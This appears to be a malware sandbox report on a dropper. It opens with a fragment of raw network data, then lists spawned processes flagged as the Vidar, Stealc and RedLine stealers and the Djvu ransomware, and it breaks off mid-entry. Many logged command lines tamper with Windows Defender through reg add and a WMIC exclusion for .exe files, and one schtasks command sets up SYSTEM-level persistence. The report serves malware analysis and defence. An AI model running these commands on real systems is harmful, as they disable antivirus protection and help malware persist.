B'\1Qr[~,P@kwgSWUVe?bx=ClU@gx}8+'i#>U@H3&$8^-Pw6Xi;0h!BR,pi-puj\vHt~(*x=-,<E^H5@
2024-08-30 04:18:24 UTC	8000	IN	Data Raw: f1 71 5d c0 fc 25 c8 c1 4e a5 53 db 8a 90 46 f4 69 0c f3 40 6f 97 1d 41 2e c5 5a f9 1a 5b 23 39 70 25 c9 5e e9 32 3a 47 d8 6c 5a 7f df 1e d5 5c e1 d7 f1 be 1c 6c 82 81 90 e0 80 ae 3f 10 21 9a 04 d9 b1 df 0a 29 57 fe a2 48 db 1e 07 43 70 af a5 c8 76 22 94 82 ed 35 9a 41 34 69 87 f2 fe f5 7e a3 a8 be 33 b6 c8 0a 5b 9b d3 f5 d2 9c 3c 37 df de 99 99 14 4a 0c 0d d3 28 59 6f 77 e9 68 97 cd ee d1 e9 fc 27 7f 6a 16 0b db 27 d3 ba d9 4f 4b be 2c 8a fb 9b 06 83 02 8c 97 7d 96 97 16 13 19 48 b1 f8 5b 31 5f a5 88 db 17 f1 6d 3b ef 55 07 35 94 c0 d0 aa 6d 83 b7 93 da 75 ee a0 48 f5 fd bc 9f 7f 99 e6 b4 64 78 dd 6d 9f d8 c9 4e 6e c7 2d e8 f5 db 03 77 f7 b3 3c e0 cf dc 52 a3 94 b1 bb bf d2 89 2e d1 e2 6d d5 a8 d2 58 ed c1 d8 eb 2c 6c 10 3a 7e 9b bc ee 02 1c d0 a5 1c df Data Ascii: q]%NSFi@oA.Z[#9p%^2:GlZ\l?!)WHCpv"5A4i~3[<7J(Yowh'j'OK,}H[1_m;U5muHdxmNn-w<R.mX,l:~

Target ID:	0
Start time:	00:16:54
Start date:	30/08/2024
Path:	C:\Users\user\Desktop\gHPYUEh253.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\gHPYUEh253.exe"
Imagebase:	0x7ff72aa90000
File size:	4'411'904 bytes
MD5 hash:	15564517054045E4735B8C627D7F5C0D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	00:17:11
Start date:	30/08/2024
Path:	C:\Users\user\Documents\piratemamm\E7ZgIS5gIvcD0qYA4MsN8rsr.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Documents\piratemamm\E7ZgIS5gIvcD0qYA4MsN8rsr.exe
Imagebase:	0xff0000
File size:	196'648 bytes
MD5 hash:	70567FAE269796BF407322D0A4435054
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000002.00000002.1833987167.0000000004365000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 79%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	00:17:11
Start date:	30/08/2024
Path:	C:\Users\user\Documents\piratemamm\3rS3zgtrHYzvSBWEegYZ8AEZ.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Documents\piratemamm\3rS3zgtrHYzvSBWEegYZ8AEZ.exe
Imagebase:	0xe30000
File size:	212'520 bytes
MD5 hash:	7FEE72EA1DD13C340355BAA7FE9C574A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 75%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	00:17:11
Start date:	30/08/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	00:17:11
Start date:	30/08/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	00:17:11
Start date:	30/08/2024
Path:	C:\Users\user\Documents\piratemamm\ZsQxSfwnc3ehFR9PxEV79BAM.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\Documents\piratemamm\ZsQxSfwnc3ehFR9PxEV79BAM.exe
Imagebase:	0x140000000
File size:	10'902'016 bytes
MD5 hash:	025EBE0A476FE1A27749E6DA0EEA724F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 88%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	00:17:11
Start date:	30/08/2024
Path:	C:\Users\user\Documents\piratemamm\iyhiDENXt_q0EUrAsx1Gpb4x.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Documents\piratemamm\iyhiDENXt_q0EUrAsx1Gpb4x.exe
Imagebase:	0x400000
File size:	7'652'687 bytes
MD5 hash:	298D76769C9380C435FD4E43AC256E55
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	00:17:11
Start date:	30/08/2024
Path:	C:\Users\user\Documents\piratemamm\ZwL0OipB1WfKucHfLydAfltr.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Documents\piratemamm\ZwL0OipB1WfKucHfLydAfltr.exe
Imagebase:	0x400000
File size:	3'337'480 bytes
MD5 hash:	F8AFAFBA3E86D50AD9EDCE1D0EA179AB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 42%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	00:17:11
Start date:	30/08/2024
Path:	C:\Users\user\Documents\piratemamm\8G7TUoanzGVBa0kCulY_TPPa.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Documents\piratemamm\8G7TUoanzGVBa0kCulY_TPPa.exe
Imagebase:	0x400000
File size:	795'648 bytes
MD5 hash:	006EDF0AC466164DDC9E0AC56474FE0A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000009.00000002.2673006786.0000000000733000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000009.00000002.2673120674.00000000020E0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000009.00000002.2673120674.00000000020E0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	00:17:11
Start date:	30/08/2024
Path:	C:\Users\user\Documents\piratemamm\oOMgVil3z78TF92yUiI1jBjJ.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Documents\piratemamm\oOMgVil3z78TF92yUiI1jBjJ.exe
Imagebase:	0xf70000
File size:	5'358'592 bytes
MD5 hash:	89F3026DEA32A83CC17B59F7590D9467
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 96%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	00:17:12
Start date:	30/08/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x900000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000B.00000002.2372338745.0000000000EAA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000B.00000002.2372338745.0000000000F09000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	00:17:12
Start date:	30/08/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x6b0000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 0000000C.00000002.2457717800.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation, Description: Detects executables containing potential Windows Defender anti-emulation checks, Source: 0000000C.00000002.2457717800.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	00:17:14
Start date:	30/08/2024
Path:	C:\Users\user\AppData\Local\Temp\7zSFC24.tmp\Install.exe
Wow64 process (32bit):	true
Commandline:	.\Install.exe
Imagebase:	0x400000
File size:	6'672'207 bytes
MD5 hash:	50EFAD4341D7F65C2E7AB8205A49FDB2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	00:17:16
Start date:	30/08/2024
Path:	C:\Users\user\AppData\Local\Temp\7zS868.tmp\Install.exe
Wow64 process (32bit):	true
Commandline:	.\Install.exe /GKndidLyIt "525403" /S
Imagebase:	0x5b0000
File size:	6'950'912 bytes
MD5 hash:	7D00023CEEF9EF54D0F55A3F84BA4A15
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 50%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	00:17:17
Start date:	30/08/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x740000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000F.00000002.2730669215.0000000000BFA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	00:17:17
Start date:	30/08/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	00:17:17
Start date:	30/08/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	00:17:17
Start date:	30/08/2024
Path:	C:\Windows\SysWOW64\forfiles.exe
Wow64 process (32bit):	true
Commandline:	forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
Imagebase:	0xf40000
File size:	41'472 bytes
MD5 hash:	D95C443851F70F77427B3183B1619DD3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	00:17:17
Start date:	30/08/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	00:17:19
Start date:	30/08/2024
Path:	C:\Windows\SysWOW64\reg.exe
Wow64 process (32bit):	true
Commandline:	reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
Imagebase:	0x8c0000
File size:	59'392 bytes
MD5 hash:	CDD462E86EC0F20DE2A1D781928B1B0C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	00:17:20
Start date:	30/08/2024
Path:	C:\Windows\SysWOW64\forfiles.exe
Wow64 process (32bit):	true
Commandline:	forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
Imagebase:	0xf40000
File size:	41'472 bytes
MD5 hash:	D95C443851F70F77427B3183B1619DD3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	00:17:20
Start date:	30/08/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	00:17:20
Start date:	30/08/2024
Path:	C:\Windows\SysWOW64\reg.exe
Wow64 process (32bit):	true
Commandline:	reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
Imagebase:	0x8c0000
File size:	59'392 bytes
MD5 hash:	CDD462E86EC0F20DE2A1D781928B1B0C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	00:17:20
Start date:	30/08/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\main\main.bat" /S"
Imagebase:	0x7ff6277a0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	27
Start time:	00:17:20
Start date:	30/08/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	28
Start time:	00:17:21
Start date:	30/08/2024
Path:	C:\Windows\SysWOW64\forfiles.exe
Wow64 process (32bit):	true
Commandline:	forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
Imagebase:	0xf40000
File size:	41'472 bytes
MD5 hash:	D95C443851F70F77427B3183B1619DD3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	00:17:22
Start date:	30/08/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	00:17:22
Start date:	30/08/2024
Path:	C:\Windows\SysWOW64\forfiles.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m ping.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"
Imagebase:	0x7ff7699e0000
File size:	41'472 bytes
MD5 hash:	D95C443851F70F77427B3183B1619DD3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	00:17:22
Start date:	30/08/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	00:17:22
Start date:	30/08/2024
Path:	C:\Windows\SysWOW64\reg.exe
Wow64 process (32bit):	true
Commandline:	reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
Imagebase:	0x8c0000
File size:	59'392 bytes
MD5 hash:	CDD462E86EC0F20DE2A1D781928B1B0C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	00:17:22
Start date:	30/08/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	/C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
Imagebase:	0x7ff70f330000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	00:17:22
Start date:	30/08/2024
Path:	C:\Windows\System32\mode.com
Wow64 process (32bit):	false
Commandline:	mode 65,10
Imagebase:	0x7ff71dea0000
File size:	33'280 bytes
MD5 hash:	BEA7464830980BF7C0490307DB4FC875
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	00:17:22
Start date:	30/08/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
Imagebase:	0xad0000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	00:17:23
Start date:	30/08/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e file.zip -p151921358818216190771159712614 -oextracted
Imagebase:	0x500000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	00:17:23
Start date:	30/08/2024
Path:	C:\Windows\SysWOW64\wbem\WMIC.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
Imagebase:	0xa00000
File size:	427'008 bytes
MD5 hash:	E2DE6500DE1148C7F6027AD50AC8B891
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	00:17:23
Start date:	30/08/2024
Path:	C:\Windows\SysWOW64\forfiles.exe
Wow64 process (32bit):	true
Commandline:	forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
Imagebase:	0xf40000
File size:	41'472 bytes
MD5 hash:	D95C443851F70F77427B3183B1619DD3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	00:17:24
Start date:	30/08/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	00:17:24
Start date:	30/08/2024
Path:	C:\Windows\SysWOW64\reg.exe
Wow64 process (32bit):	true
Commandline:	reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
Imagebase:	0x8c0000
File size:	59'392 bytes
MD5 hash:	CDD462E86EC0F20DE2A1D781928B1B0C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	00:17:24
Start date:	30/08/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e extracted/file_9.zip -oextracted
Imagebase:	0x500000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	00:17:24
Start date:	30/08/2024
Path:	C:\Windows\SysWOW64\forfiles.exe
Wow64 process (32bit):	true
Commandline:	forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
Imagebase:	0xf40000
File size:	41'472 bytes
MD5 hash:	D95C443851F70F77427B3183B1619DD3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	00:17:24
Start date:	30/08/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	/C powershell start-process -WindowStyle Hidden gpupdate.exe /force
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	00:17:24
Start date:	30/08/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	powershell start-process -WindowStyle Hidden gpupdate.exe /force
Imagebase:	0xad0000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	00:17:25
Start date:	30/08/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	schtasks /CREATE /TN "bGRMUcRlXIkCKIeoVz" /SC once /ST 00:18:00 /RU "SYSTEM" /TR "\"C:\Users\user\AppData\Local\Temp\7zS868.tmp\Install.exe\" u3 /hggdidOLc 525403 /S" /V1 /F
Imagebase:	0x570000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	46
Start time:	00:17:25
Start date:	30/08/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	47
Start time:	00:17:25
Start date:	30/08/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e extracted/file_8.zip -oextracted
Imagebase:	0x500000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	48
Start time:	00:17:26
Start date:	30/08/2024
Path:	C:\Windows\SysWOW64\gpupdate.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\gpupdate.exe" /force
Imagebase:	0x840000
File size:	25'088 bytes
MD5 hash:	6DC3720EA74B49C8ED64ACA3E0162AC8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	49
Start time:	00:17:26
Start date:	30/08/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	50
Start time:	00:17:26
Start date:	30/08/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e extracted/file_7.zip -oextracted
Imagebase:	0x500000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	51
Start time:	00:17:26
Start date:	30/08/2024
Path:	C:\Users\user\AppData\Local\Temp\7zS868.tmp\Install.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\7zS868.tmp\Install.exe u3 /hggdidOLc 525403 /S
Imagebase:	0x5b0000
File size:	6'950'912 bytes
MD5 hash:	7D00023CEEF9EF54D0F55A3F84BA4A15
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	52
Start time:	00:17:27
Start date:	30/08/2024
Path:	C:\Users\user\AppData\Local\Temp\main\7z.exe
Wow64 process (32bit):	false
Commandline:	7z.exe e extracted/file_6.zip -oextracted
Imagebase:	0x500000
File size:	468'992 bytes
MD5 hash:	619F7135621B50FD1900FF24AADE1524
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	54
Start time:	00:17:28
Start date:	30/08/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
